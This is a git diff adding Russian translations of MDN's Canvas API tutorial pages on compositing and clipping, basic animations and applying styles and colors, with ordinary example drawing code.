+      document.images[i].parentNode.insertBefore(canvas,document.images[i]);
+
+      var ctx = canvas.getContext('2d');
+
+      // Рисует изображение в canvas
+      ctx.drawImage(document.images[i],15,20);
+
+      // Добавляет рамку
+      ctx.drawImage(document.getElementById('frame'),0,0);
+    }
+  }
+}
+ +

{{EmbedLiveSample("Art_gallery_example", 725, 400)}}

+ +

Контроль изменений размеров изображения

+ +

Как было отмечено ранее, изменение размеров изображений может привести к размытости или к шуму в процессе преобразования. Вы можете использовать контекст рисования {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}} свойства, чтобы контролировать использование сглаживающего алгоритма, когда изменяющиеся изображения в вашем контексте. Обычно это свойство установлено в  true, означая, что изображения будут сглажены во время изменения размеров. Вы можете отключить это свойство так:

+ +
ctx.mozImageSmoothingEnabled = false;
+ctx.webkitImageSmoothingEnabled = false;
+ctx.msImageSmoothingEnabled = false;
+ctx.imageSmoothingEnabled = false;
+
+ +

{{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_text", "Web/API/Canvas_API/Tutorial/Transformations")}}

diff --git "a/files/ru/web/api/canvas_api/tutorial/\320\272\320\276\320\274\320\277\320\276\320\267\320\270\321\206\320\270\320\270/index.html" "b/files/ru/web/api/canvas_api/tutorial/\320\272\320\276\320\274\320\277\320\276\320\267\320\270\321\206\320\270\320\270/index.html" new file mode 100644 index 0000000000..264cc7e544 --- /dev/null +++ "b/files/ru/web/api/canvas_api/tutorial/\320\272\320\276\320\274\320\277\320\276\320\267\320\270\321\206\320\270\320\270/index.html" @@ -0,0 +1,108 @@ +--- +title: Композиция и обрезка +slug: Web/API/Canvas_API/Tutorial/Композиции +tags: + - канвас +translation_of: Web/API/Canvas_API/Tutorial/Compositing +--- +
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Transformations", "Web/API/Canvas_API/Tutorial/Basic_animations")}}
+ +
+

Во всех наших предыдущих примерах, фигуры всегда были нарисованы одна поверх другой. Это более чем достаточно для большинства ситуаций, но это ограничивает порядок, в котором построены композиционные формы. Однако, мы можем изменить это поведение, установив свойство globalCompositeOperation. Кроме того, свойства clip позволяет скрыть нежелательные части формы.

+
+ +

globalCompositeOperation

+ +

Мы можем не только рисовать новые фигуры за существующие формы, но мы также можем использовать его, чтобы замаскировать определенные участки, очистить разделы от холста (не ограничивается прямоугольниками, как{{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}} method does) и другое.

+ +
+
{{domxref("CanvasRenderingContext2D.globalCompositeOperation", "globalCompositeOperation = type")}}
+
Это задает Тип операции композиции для применения при разработке новых форм, где Тип является строкой, идентифицирующей, какие из двенадцати операций композитинг в использовании.
+
+ +

См.  примеры компоновки кода из следующих примеров.

+ +

{{EmbedLiveSample("Compositing_example", 750, 6750, "" ,"Web/API/Canvas_API/Tutorial/Compositing/Example")}}

+ +

Обрезка контуров

+ +

Отсеченный контур похож на обычную форму холста, но он действует как маска, чтобы скрыть нежелательные части фигур. Это визуализируется на изображении справа. Форма красной звезды - наша отправочная дорожка. Все, что выходит за пределы этого пути, не будет нарисовано на холсте.

+ +

Если мы сравниваем отсеченный контур со свойством globalCompositeOperation на изображении, мы видим два режима композитинга, которые достигают более или менее того же эффекта в исходном и исходном состоянии.   Наиболее важные различия между ними заключаются в том, что отсечение контура фактически  никогда не обращается к холсту и контур обрезки никогда не влияет добавление новых форм. Это делает обрезку контура идеальным для рисования нескольких фигур в ограниченной области.

+ +

В главе о рисовании форм, я назвал только stroke() и fill() методы, но есть третий способ можно использовать с контурами, так называемый clip().

+ +
+
{{domxref("CanvasRenderingContext2D.clip", "clip()")}}
+
Преобразует текущий выстраиваемый контур в отсечённый контур.
+
+ +

Используйте clip() вместо closePath() для закрытия контура и его преобразования в отсечённый контур вместо создания заполняющего  или обрамляющего контура.

+ +

По умолчанию элемент {{HTMLElement("canvas")}} использует отсечённый контур, который в точности совпадает по размеру с размером самого холста. Это означает, что никакого отсечения попросту не произойдёт.

+ +

Пример обрезки

+ +

В этом примере мы будем использовать круговую обрезку контура, чтобы ограничить рисование набора случайных звезд определенной областью.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.fillRect(0, 0, 150, 150);
+  ctx.translate(75, 75);
+
+  // Create a circular clipping path
+  ctx.beginPath();
+  ctx.arc(0, 0, 60, 0, Math.PI * 2, true);
+  ctx.clip();
+
+  // draw background
+  var lingrad = ctx.createLinearGradient(0, -75, 0, 75);
+  lingrad.addColorStop(0, '#232256');
+  lingrad.addColorStop(1, '#143778');
+
+  ctx.fillStyle = lingrad;
+  ctx.fillRect(-75, -75, 150, 150);
+
+  // draw stars
+  for (var j = 1; j < 50; j++) {
+    ctx.save();
+    ctx.fillStyle = '#fff';
+    ctx.translate(75 - Math.floor(Math.random() * 150),
+                  75 - Math.floor(Math.random() * 150));
+    drawStar(ctx, Math.floor(Math.random() * 4) + 2);
+    ctx.restore();
+  }
+
+}
+
+function drawStar(ctx, r) {
+  ctx.save();
+  ctx.beginPath();
+  ctx.moveTo(r, 0);
+  for (var i = 0; i < 9; i++) {
+    ctx.rotate(Math.PI / 5);
+    if (i % 2 === 0) {
+      ctx.lineTo((r / 0.525731) * 0.200811, 0);
+    } else {
+      ctx.lineTo(r, 0);
+    }
+  }
+  ctx.closePath();
+  ctx.fill();
+  ctx.restore();
+}
+
+ + + +

В первых нескольких строках кода мы рисуем черный прямоугольник размером с холстом в качестве фона, а затем переводим начало координат в центр. Затем мы создаем круговой обтравочный контур, рисуя дугу и вызывающий clip(). Обрезанные контуры также являются частью состояния сохранения холста. Если бы мы хотели сохранить исходный обтравочный контур, мы могли бы сохранить состояние холста перед созданием нового.

+ +

Все, что нарисовано после создания отсеченного контура, появится только внутри этого пути. Вы можете видеть это четко в линейном градиенте, который нарисован далее. После этого набирается набор из 50 случайно расположенных и масштабированных звезд, используя drawStar(). Снова звезды появляются только в пределах определенного обтравочного контура.

+ +

{{EmbedLiveSample("A_clip_example", "180", "180", "https://mdn.mozillademos.org/files/208/Canvas_clip.png")}}

+ +

{{PreviousNext("Web/API/Canvas_API/Tutorial/Transformations", "Web/API/Canvas_API/Tutorial/Basic_animations")}}

diff --git "a/files/ru/web/api/canvas_api/tutorial/\320\276\321\201\320\275\320\276\320\262\321\213_\320\260\320\275\320\270\320\274\320\260\321\206\320\270\320\270/index.html" "b/files/ru/web/api/canvas_api/tutorial/\320\276\321\201\320\275\320\276\320\262\321\213_\320\260\320\275\320\270\320\274\320\260\321\206\320\270\320\270/index.html" new file mode 100644 index 0000000000..a47b8b734e --- /dev/null +++ "b/files/ru/web/api/canvas_api/tutorial/\320\276\321\201\320\275\320\276\320\262\321\213_\320\260\320\275\320\270\320\274\320\260\321\206\320\270\320\270/index.html" @@ -0,0 +1,308 @@ +--- +title: Простые анимации +slug: Web/API/Canvas_API/Tutorial/Основы_анимации +tags: + - HTML + - HTML5 + - Графика + - Обучение + - Средний уровень + - Холст +translation_of: Web/API/Canvas_API/Tutorial/Basic_animations +--- +
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Compositing", "Web/API/Canvas_API/Tutorial/Advanced_animations")}}
+ +
+

Поскольку для управления элементами {{HTMLElement ("canvas")}} используется JavaScript, не составляет труда сделать (интерактивные) анимации. В этой главе мы рассмотрим, как делаются некоторые базовые анимации.

+
+ +

Вероятно, самым большим ограничением является то, что когда фигура нарисована, её уже нельзя двигать. Чтобы изобразить движение нам нужно перерисовать фигуру и всё, что было нарисовано до неё. Перерисовка сложных кадров занимает много времени, и производительность сильно зависит от скорости компьютера, на котором она выполняется.

+ +

Основные шаги анимации

+ +

Ниже перечислены необходимые шаги для того, чтобы нарисовать кадр:

+ +
    +
  1. Очистить canvas
    + Если фигура, которую вы собираетесь нарисовать, не занимает всю площадь canvas (как фон, например), то всё что было нарисовано ранее необходимо стереть. Проще всего это сделать при помощи метода {{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}}.
    2. +
  2. Сохранить изначальное состояние canvas
    + Если вы изменяете любые настройки (такие как стили, трансформации и т.п.), которые затрагивают состояние canvas и вы хотите убедиться, что оригинальное состояние используется каждый раз, когда был отрисован кадр, то вам следует сохранить это оригинальное состояние.
    3. +
  3. Нарисовать анимированные фигуры
    + Шаг на котором вы собственно отрисовываете кадр.
    4. +
  4. Восстановить состояние canvas
    + Если вы сохраняли состояние, восстановите его, прежде чем отрисовывать новый кадр.
    5. +
+ +

Управление анимацией

+ +

Фигуры отрисовываются на canvas либо напрямую — при помощи методов canvas, либо с помощью сторонних функций. В нормальной ситуации результат станет виден на canvas после окончания выполнения скрипта. К примеру, цикл for использовать для анимации нельзя. 

+ +

Это значит, нужен способ выполнения функций отрисовки через интервалы времени. Есть два способа для управления такой анимацией.

+ +

Запланированные обновления

+ +

Первый — это функции {{domxref("window.setInterval()")}}, {{domxref("window.setTimeout()")}}, и {{domxref("window.requestAnimationFrame()")}}, которые могут быть использованы для вызова некоторой функции, через заданный промежуток времени.

+ +
+
{{domxref("WindowTimers.setInterval", "setInterval(function, delay)")}}
+
Начинает периодически исполнять функцию function каждые delay миллисекунд.
+
{{domxref("WindowTimers.setTimeout", "setTimeout(function, delay)")}}
+
Запускает выполнение указанной функции function через delay миллисекунд.
+
{{domxref("Window.requestAnimationFrame()", "requestAnimationFrame(callback)")}}
+
Сообщает браузеру, что вы хотите выполнить анимацию, и запрашивает, чтобы браузер вызвал указанную функцию callback для обновления анимации перед следующей перерисовкой.
+
+ +

Если вы не планируете никакого взаимодействия с пользователем, вы можете использовать функцию setInterval() , которая многократно выполняет, предоставленный ей код. Если же вы планиуете создать игру, в которой контроль анимации осуществляется мышью или клавиатурой, то необходимо использовать  setTimeout(). Установив {{domxref("EventListener")}}, вы можете перехватываете любые действия пользователя и запустить соответствующие функции анимации.

+ +
+

В примерах ниже мы будем использовать функцию {{domxref("window.requestAnimationFrame()")}} для контроля анимации. Функция requestAnimationFrame является более эффективной для создания анимации, так как новая итерация вызывается, когда система готова к отрисовке нового кадра. Количество вызовов в секунду примерно равно 60 и уменьшается, когда вкладка неактивна. Для более подробного изучения цикла анимации, особенно для игр, прочитайте статью Анатомия видеоигр В Зоне разработке игр.

+
+ +

Анимированная солнечная система

+ +

В этом примере анимируется небольшая модель солнечной системы.

+ +
var sun = new Image();
+var moon = new Image();
+var earth = new Image();
+function init(){
+  sun.src = 'https://mdn.mozillademos.org/files/1456/Canvas_sun.png';
+  moon.src = 'https://mdn.mozillademos.org/files/1443/Canvas_moon.png';
+  earth.src = 'https://mdn.mozillademos.org/files/1429/Canvas_earth.png';
+  window.requestAnimationFrame(draw);
+}
+
+function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.globalCompositeOperation = 'destination-over';
+  ctx.clearRect(0,0,300,300); // clear canvas
+
+  ctx.fillStyle = 'rgba(0,0,0,0.4)';
+  ctx.strokeStyle = 'rgba(0,153,255,0.4)';
+  ctx.save();
+  ctx.translate(150,150);
+
+  // Earth
+  var time = new Date();
+  ctx.rotate( ((2*Math.PI)/60)*time.getSeconds() + ((2*Math.PI)/60000)*time.getMilliseconds() );
+  ctx.translate(105,0);
+  ctx.fillRect(0,-12,50,24); // Shadow
+  ctx.drawImage(earth,-12,-12);
+
+  // Moon
+  ctx.save();
+  ctx.rotate( ((2*Math.PI)/6)*time.getSeconds() + ((2*Math.PI)/6000)*time.getMilliseconds() );
+  ctx.translate(0,28.5);
+  ctx.drawImage(moon,-3.5,-3.5);
+  ctx.restore();
+
+  ctx.restore();
+
+  ctx.beginPath();
+  ctx.arc(150,150,105,0,Math.PI*2,false); // Earth orbit
+  ctx.stroke();
+
+  ctx.drawImage(sun,0,0,300,300);
+
+  window.requestAnimationFrame(draw);
+}
+
+init();
+
+ + + +

{{EmbedLiveSample("An_animated_solar_system", "310", "310", "https://mdn.mozillademos.org/files/202/Canvas_animation1.png")}}

+ +

Анимированные часы

+ +

В этом примере создаются анимированные часы, показывающие правильное время.

+ +
function clock(){
+  var now = new Date();
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.save();
+  ctx.clearRect(0,0,150,150);
+  ctx.translate(75,75);
+  ctx.scale(0.4,0.4);
+  ctx.rotate(-Math.PI/2);
+  ctx.strokeStyle = "black";
+  ctx.fillStyle = "white";
+  ctx.lineWidth = 8;
+  ctx.lineCap = "round";
+
+  // Hour marks
+  ctx.save();
+  for (var i=0;i<12;i++){
+    ctx.beginPath();
+    ctx.rotate(Math.PI/6);
+    ctx.moveTo(100,0);
+    ctx.lineTo(120,0);
+    ctx.stroke();
+  }
+  ctx.restore();
+
+  // Minute marks
+  ctx.save();
+  ctx.lineWidth = 5;
+  for (i=0;i<60;i++){
+    if (i%5!=0) {
+      ctx.beginPath();
+      ctx.moveTo(117,0);
+      ctx.lineTo(120,0);
+      ctx.stroke();
+    }
+    ctx.rotate(Math.PI/30);
+  }
+  ctx.restore();
+
+  var sec = now.getSeconds();
+  var min = now.getMinutes();
+  var hr  = now.getHours();
+  hr = hr>=12 ? hr-12 : hr;
+
+  ctx.fillStyle = "black";
+
+  // write Hours
+  ctx.save();
+  ctx.rotate( hr*(Math.PI/6) + (Math.PI/360)*min + (Math.PI/21600)*sec )
+  ctx.lineWidth = 14;
+  ctx.beginPath();
+  ctx.moveTo(-20,0);
+  ctx.lineTo(80,0);
+  ctx.stroke();
+  ctx.restore();
+
+  // write Minutes
+  ctx.save();
+  ctx.rotate( (Math.PI/30)*min + (Math.PI/1800)*sec )
+  ctx.lineWidth = 10;
+  ctx.beginPath();
+  ctx.moveTo(-28,0);
+  ctx.lineTo(112,0);
+  ctx.stroke();
+  ctx.restore();
+
+  // Write seconds
+  ctx.save();
+  ctx.rotate(sec * Math.PI/30);
+  ctx.strokeStyle = "#D40000";
+  ctx.fillStyle = "#D40000";
+  ctx.lineWidth = 6;
+  ctx.beginPath();
+  ctx.moveTo(-30,0);
+  ctx.lineTo(83,0);
+  ctx.stroke();
+  ctx.beginPath();
+  ctx.arc(0,0,10,0,Math.PI*2,true);
+  ctx.fill();
+  ctx.beginPath();
+  ctx.arc(95,0,10,0,Math.PI*2,true);
+  ctx.stroke();
+  ctx.fillStyle = "rgba(0,0,0,0)";
+  ctx.arc(0,0,3,0,Math.PI*2,true);
+  ctx.fill();
+  ctx.restore();
+
+  ctx.beginPath();
+  ctx.lineWidth = 14;
+  ctx.strokeStyle = '#325FA2';
+  ctx.arc(0,0,142,0,Math.PI*2,true);
+  ctx.stroke();
+
+  ctx.restore();
+
+  window.requestAnimationFrame(clock);
+}
+
+window.requestAnimationFrame(clock);
+ + + +

{{EmbedLiveSample("An_animated_clock", "180", "180", "https://mdn.mozillademos.org/files/203/Canvas_animation2.png")}}

+ +

Зацикленная панорама

+ +

В этом примере панорама прокручивается слева направо. Мы используем фото национального парка Йосемити взятое из Википедии, но вы можете использовать любое изображение, большее элемента canvas.

+ +
var img = new Image();
+
+// User Variables - customize these to change the image being scrolled, its
+// direction, and the speed.
+
+img.src = 'https://mdn.mozillademos.org/files/4553/Capitan_Meadows,_Yosemite_National_Park.jpg';
+var CanvasXSize = 800;
+var CanvasYSize = 200;
+var speed = 30; //lower is faster
+var scale = 1.05;
+var y = -4.5; //vertical offset
+
+// Main program
+
+var dx = 0.75;
+var imgW;
+var imgH;
+var x = 0;
+var clearX;
+var clearY;
+var ctx;
+
+img.onload = function() {
+    imgW = img.width*scale;
+    imgH = img.height*scale;
+    if (imgW > CanvasXSize) { x = CanvasXSize-imgW; } // image larger than canvas
+    if (imgW > CanvasXSize) { clearX = imgW; } // image larger than canvas
+    else { clearX = CanvasXSize; }
+    if (imgH > CanvasYSize) { clearY = imgH; } // image larger than canvas
+    else { clearY = CanvasYSize; }
+    //Get Canvas Element
+    ctx = document.getElementById('canvas').getContext('2d');
+    //Set Refresh Rate
+    return setInterval(draw, speed);
+}
+
+function draw() {
+    //Clear Canvas
+    ctx.clearRect(0,0,clearX,clearY);
+    //If image is <= Canvas Size
+    if (imgW <= CanvasXSize) {
+        //reset, start from beginning
+        if (x > (CanvasXSize)) { x = 0; }
+        //draw aditional image
+        if (x > (CanvasXSize-imgW)) { ctx.drawImage(img,x-CanvasXSize+1,y,imgW,imgH); }
+    }
+    //If image is > Canvas Size
+    else {
+        //reset, start from beginning
+        if (x > (CanvasXSize)) { x = CanvasXSize-imgW; }
+        //draw aditional image
+        if (x > (CanvasXSize-imgW)) { ctx.drawImage(img,x-imgW+1,y,imgW,imgH); }
+    }
+    //draw image
+    ctx.drawImage(img,x,y,imgW,imgH);
+    //amount to move
+    x += dx;
+}
+
+ +

Заметьте, что ширина и высота должны совпадать  со значениями CanvasXZSize и CanvasYSize.

+ +
<canvas id="canvas" width="800" height="200"></canvas>
+ +

{{EmbedLiveSample("A_looping_panorama", "830", "230")}}

+ +

Другие примеры

+ +
+
A basic ray-caster
+
Хороший пример того, как сделать управляемую анимацию с клавиатуры.
+
Advanced animations
+
Мы рассмотрим некоторые продвинутые методы анимации и физику в следующей главе.
+
+ +

{{PreviousNext("Web/API/Canvas_API/Tutorial/Compositing", "Web/API/Canvas_API/Tutorial/Advanced_animations")}}

diff --git "a/files/ru/web/api/canvas_api/tutorial/\320\277\321\200\320\270\320\274\320\265\320\275\320\265\320\275\320\270\320\265_\321\201\321\202\320\270\320\273\320\265\320\271_\320\270_\321\206\320\262\320\265\321\202\320\276\320\262/index.html" "b/files/ru/web/api/canvas_api/tutorial/\320\277\321\200\320\270\320\274\320\265\320\275\320\265\320\275\320\270\320\265_\321\201\321\202\320\270\320\273\320\265\320\271_\320\270_\321\206\320\262\320\265\321\202\320\276\320\262/index.html" new file mode 100644 index 0000000000..2c9eeaae78 --- /dev/null +++ "b/files/ru/web/api/canvas_api/tutorial/\320\277\321\200\320\270\320\274\320\265\320\275\320\265\320\275\320\270\320\265_\321\201\321\202\320\270\320\273\320\265\320\271_\320\270_\321\206\320\262\320\265\321\202\320\276\320\262/index.html" @@ -0,0 +1,726 @@ +--- +title: Применение стилей и цветов +slug: Web/API/Canvas_API/Tutorial/Применение_стилей_и_цветов +translation_of: Web/API/Canvas_API/Tutorial/Applying_styles_and_colors +--- +
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_shapes", "Web/API/Canvas_API/Tutorial/Drawing_text")}}
+ +
+

В главе о рисовании фигур, мы использовали для линий и заполнения только стили по умолчанию. Здесь мы будем исследовать опции canvas, которые мы имеем в нашем распоряжении, чтобы сделать наши рисунки немного более привлекательными. Вы узнаете, как добавлять различные цвета, стили линий, градиенты, узоры и тени вашим рисункам.

+
+ +

Цвета

+ +

До сих пор мы видели только методы рисования контекста. Если мы хотим применить цвета к фигуре, то есть два важных свойства, которые мы можем использовать: fillStyle и strokeStyle.

+ +
+
{{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle = color")}}
+
Устанавливает стиль для фона фигур.
+
{{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle = color")}}
+
Устанавливает стиль контура фигуры. 
+
+ +

color может быть цветом, (строка, представленная в CSS {{cssxref("<color>")}}), градиентом или паттерном. Градиенты и паттерны мы рассмотрим позже. По умолчанию цвет фона и контура  — черный (значение CSS цвета  #000000).

+ +
+

На заметку: Когда вы устанавливаете  значения strokeStyle и/или fillStyle, то новое значение становится стандартным для всех фигур, которые будут нарисованы с этого момента. Когда вам нужен другой цвет, вы должны перезаписать значение в fillStyle или в strokeStyle для каждой фигуры.

+
+ +

Чтобы строка color считалась валидной, она должна соответствовать CSS {{cssxref("<color>")}}. Далее приведены примеры того, как можно по-разному задать один и тот же цвет. 

+ +
// these all set the fillStyle to 'orange'
+
+ctx.fillStyle = "orange";
+ctx.fillStyle = "#FFA500";
+ctx.fillStyle = "rgb(255,165,0)";
+ctx.fillStyle = "rgba(255,165,0,1)";
+
+ +

Пример fillStyle

+ +

В этом примере мы опять воспользуемся двойным циклом, чтобы нарисовать сетку из прямоугольников, каждый из которых имеет свой цвет. Окончательное изображение должно иметь вид, как показано на скриншоте. Здесь не происходит ничего сверхъестественного. Мы используем две переменные i и j для генерации уникального RGB цвета для каждого квадрата и изменяем только красные и зеленые значения. Синий канал представляет собой фиксированное значение. Путем изменения каналов вы можете генерировать всю палитру. Увеличив количество шагов вы можете достигнуть такого вида палитры, какая используется в Photoshop.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  for (var i=0;i<6;i++){
+    for (var j=0;j<6;j++){
+      ctx.fillStyle = 'rgb(' + Math.floor(255-42.5*i) + ',' +
+                       Math.floor(255-42.5*j) + ',0)';
+      ctx.fillRect(j*25,i*25,25,25);
+    }
+  }
+}
+ + + +

Результат выглядит так:

+ +

{{EmbedLiveSample("Пример_fillStyle", 160, 160, "https://mdn.mozillademos.org/files/5417/Canvas_fillstyle.png")}}

+ +

Пример strokeStyle

+ +

Этот пример похож на предыдущий, но мы используем свойство strokeStyle чтобы изменить цвета очертаний фигур. Так же мы используем метод arc() для рисования окружностей вместо квадратов.

+ +
  function draw() {
+    var ctx = document.getElementById('canvas').getContext('2d');
+    for (var i=0;i<6;i++){
+      for (var j=0;j<6;j++){
+        ctx.strokeStyle = 'rgb(0,' + Math.floor(255-42.5*i) + ',' +
+                         Math.floor(255-42.5*j) + ')';
+        ctx.beginPath();
+        ctx.arc(12.5+j*25,12.5+i*25,10,0,Math.PI*2,true);
+        ctx.stroke();
+      }
+    }
+  }
+
+ + + +

Результат выглядит так:

+ +

{{EmbedLiveSample("Пример_strokeStyle", "180", "180", "https://mdn.mozillademos.org/files/253/Canvas_strokestyle.png")}}

+ +

Прозрачность

+ +

В дополнении к рисованию непрозрачных фигур, мы также можем рисовать прозрачные (полупрозрачные) фигуры.  Это делается через установку свойства globalAlpha или задачи полупрозрачного цвета фона или контура.

+ +
+
{{domxref("CanvasRenderingContext2D.globalAlpha", "globalAlpha = transparencyValue")}}
+
Для применения, указывается значения прозрачности для всех будущих фигур, что будут нарисованы на canvas. Значение полупрозрачности могут быть между 0.0 (полная прозрачность) и 1.0 (полная непрозрачность). Значение 1.0 (полная непрозрачность) установлено по умолчанию.
+
+ +

Свойство globalAlpha может быть использовано, если вы хотите рисовать формы с одинаковой прозрачностью, но в иной ситуации, обычно устанавливают прозрачность индивидуально к каждой форме, когда указывают их цвет.

+ +

Так как свойства strokeStyle и fillStyle принимают цветовые значения rgba через CSS, мы можем использовать следующее обозначение  для назначения прозрачных цветов.

+ +
// Assigning transparent colors to stroke and fill style
+
+ctx.strokeStyle = "rgba(255,0,0,0.5)";
+ctx.fillStyle = "rgba(255,0,0,0.5)";
+
+ +

Функция rgba() похожа на функцию rgb(), но имеет один дополнительный параметр. Последний параметр устанавливает значение прозрачности для конкретного цвета. Действующий диапозон значений находится между 0.0 (полная прозрачность) и 1.0 (полная непрозрачность).

+ +

Пример globalAlpha

+ +

В данном примере мы нарисуем фон и четыре квадрата с различными цветами.  Сверху изображения будет выведен набор полупрозрачных кругов. Установим свойство globalAlpha значением 0.2, которое будет использовано для всех последующих форм. Каждый шаг цикла рисует круг с большим радиусом. По окончанию получим радиальный градиент. Накладывая еще больше кругов друг на друга, мы фактически сможем уменьшить прозрачность ранее нарисованных кругов. Увеличив счетчик итераций, при этом рисуя еще круги, мы сможем добиться исчезновение центра изображения.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  // фон изображения
+  ctx.fillStyle = '#FD0';
+  ctx.fillRect(0,0,75,75);
+  ctx.fillStyle = '#6C0';
+  ctx.fillRect(75,0,75,75);
+  ctx.fillStyle = '#09F';
+  ctx.fillRect(0,75,75,75);
+  ctx.fillStyle = '#F30';
+  ctx.fillRect(75,75,75,75);
+  ctx.fillStyle = '#FFF';
+
+  // устанавливаем значение прозрачности
+  ctx.globalAlpha = 0.2;
+
+  // Рисуем полупрозрачные круги
+  for (i=0;i<7;i++){
+    ctx.beginPath();
+    ctx.arc(75,75,10+10*i,0,Math.PI*2,true);
+    ctx.fill();
+  }
+}
+ + + +

{{EmbedLiveSample("Пример_globalAlpha", "180", "180", "https://mdn.mozillademos.org/files/232/Canvas_globalalpha.png")}}

+ +

Пример использования rgba()

+ +

В этом втором примере мы делаем что-то похожее на предыдущее, но вместо рисования кругов друг над другом, я рисовал маленькие прямоугольники с увеличением непрозрачности. Использование rgba() добавляет контроля и гибкости, поскольку мы можем индивидуально настраивать стиль заливки и штриха.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // Нарисовать фон
+  ctx.fillStyle = 'rgb(255,221,0)';
+  ctx.fillRect(0,0,150,37.5);
+  ctx.fillStyle = 'rgb(102,204,0)';
+  ctx.fillRect(0,37.5,150,37.5);
+  ctx.fillStyle = 'rgb(0,153,255)';
+  ctx.fillRect(0,75,150,37.5);
+  ctx.fillStyle = 'rgb(255,51,0)';
+  ctx.fillRect(0,112.5,150,37.5);
+
+  // Нарисовать полупрозрачные прямоугольники
+  for (var i=0;i<10;i++){
+    ctx.fillStyle = 'rgba(255,255,255,'+(i+1)/10+')';
+    for (var j=0;j<4;j++){
+      ctx.fillRect(5+i*14,5+j*37.5,14,27.5);
+    }
+  }
+}
+ + + +

{{EmbedLiveSample("Пример_использования_rgba()", "180", "180", "https://mdn.mozillademos.org/files/246/Canvas_rgba.png")}}

+ +

Стили линий

+ +

Есть несколько свойств, которые позволяют нам стилизовать линии.

+ +
+
{{domxref("CanvasRenderingContext2D.lineWidth", "lineWidth = value")}}
+
Устанавливает ширину линий, рисуемых в будущем.
+
{{domxref("CanvasRenderingContext2D.lineCap", "lineCap = type")}}
+
Устанавливает внешний вид концов линий.
+
{{domxref("CanvasRenderingContext2D.lineJoin", "lineJoin = type")}}
+
Устанавливает внешний вид «углов», где встречаются линии.
+
{{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit = value")}}
+
Устанавливает ограничение на митру, когда две линии соединяются под острым углом, чтобы вы могли контролировать её толщину.
+
{{domxref("CanvasRenderingContext2D.getLineDash", "getLineDash()")}}
+
Возвращает текущий массив тире штриховки, содержащий четное число неотрицательных чисел.
+
{{domxref("CanvasRenderingContext2D.setLineDash", "setLineDash(segments)")}}
+
Устанавливает текущий пунктир линии.
+
{{domxref("CanvasRenderingContext2D.lineDashOffset", "lineDashOffset = value")}}
+
Указывает, где следует начинать тире массива в строке.
+
+ +

Вы лучше поймете, что они делают, глядя на приведенные ниже примеры.

+ +

Пример lineWidth

+ +

Это свойство задает толщину текущей строки. Значения должны быть положительными. По умолчанию для этого значения установлено 1.0 единицы.

+ +

Ширина линии - это толщина хода, центрированного по данному пути. Другими словами, область, которая нарисована, простирается до половины ширины линии по обе стороны пути. Поскольку координаты холста не напрямую ссылаются на пиксели, особое внимание следует уделять получению четких горизонтальных и вертикальных линий.

+ +

В приведенном ниже примере 10 прямых линий рисуются с увеличением ширины линий. Линия в крайнем левом углу - 1.0 единицы. Тем не менее, толщина левой и всех других линий нечетной ширины не выглядят четкими из-за позиционирования пути.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  for (var i = 0; i < 10; i++){
+    ctx.lineWidth = 1+i;
+    ctx.beginPath();
+    ctx.moveTo(5+i*14,5);
+    ctx.lineTo(5+i*14,140);
+    ctx.stroke();
+  }
+}
+
+ + + +

{{EmbedLiveSample("Пример_lineWidth", "180", "180", "https://mdn.mozillademos.org/files/239/Canvas_linewidth.png")}}

+ +

Получение четких строк требует понимания путей сглаживания. На рисунках ниже представлена сетка координат холста. Квадраты между сетками являются фактическими экранными пикселями. В первом изображении сетки ниже прямоугольник от (2, 1) до (5, 5) заполняется. Вся область между ними (светло-красный) падает на границы пикселей, поэтому полученный заполненный прямоугольник будет иметь четкие края.

+ +

+ +

Если вы рассмотрите путь от (3, 1) до (3, 5) с толщиной строки 1.0, вы получите ситуацию во втором изображении. Фактическая заполняемая область, (синяя), распространяется только наполовину в пикселях по обе стороны пути. Приблизительно это означает, что частично затенённые пиксели приводят к заполнению всей области (светло-голубой и синей) цветом, только наполовину темным, чем фактический цвет штриха. Это то, что происходит с линией шириной 1.0 в предыдущем примере кода.

+ +

Чтобы исправить это, вы должны быть более точными при создании пути. Зная, что линия шириной 1.0 занимает половину единицы по обе стороны пути, создание пути от (3.5, 1) до (3.5, 5) приведёт к ситуации в третьем изображении - ширина линии 1.0 закончится верно, точно заполняя вертикальную линию с одним пикселем.

+ +
+

Примечание: Имейте в виду, что в нашем примере с вертикальной линией позиция Y по-прежнему ссылается на целочисленную позицию сетки - иначе мы увидели бы пиксели с половинным охватом в конечных точках (также обратите внимание, что это поведение зависит от текущего стиля lineCap,  значение по умолчанию - butt; вы можете вычислить согласованные штрихи с полупиксельными координатами для линий с нечетной шириной, установив стиль lineCap в square, чтобы внешняя граница вокруг конечной точки линии автоматически расширялась, охватывая весь пиксель в точку).

+ +

Также обратите внимание, что затронуты только начальные и конечные  точки пути: если путь закрыт с помощью closePath(), - нет начальной и конечной точки; вместо этого все конечные точки в пути подключены к их прикрепленному предыдущему и следующему сегментам и при текущей настройке стиля lineJoin в значении по умолчанию - miter, с эффектом автоматического расширения внешних границ подключенных сегментов до их точки пересечения - обработанный ход будет точно покрывать полные пиксели с центром в каждой конечной точке, если эти связанные сегменты горизонтальны и/или вертикальны). См. следующие два раздела, демонстрирующие эти дополнительные стили.

+
+ +

Для линий с четной шириной каждая половина заканчивается как целое количество пикселей, поэтому вам нужен путь, который находится между пикселями (то есть (3,1) - (3,5)), вместо середины пикселей.

+ +

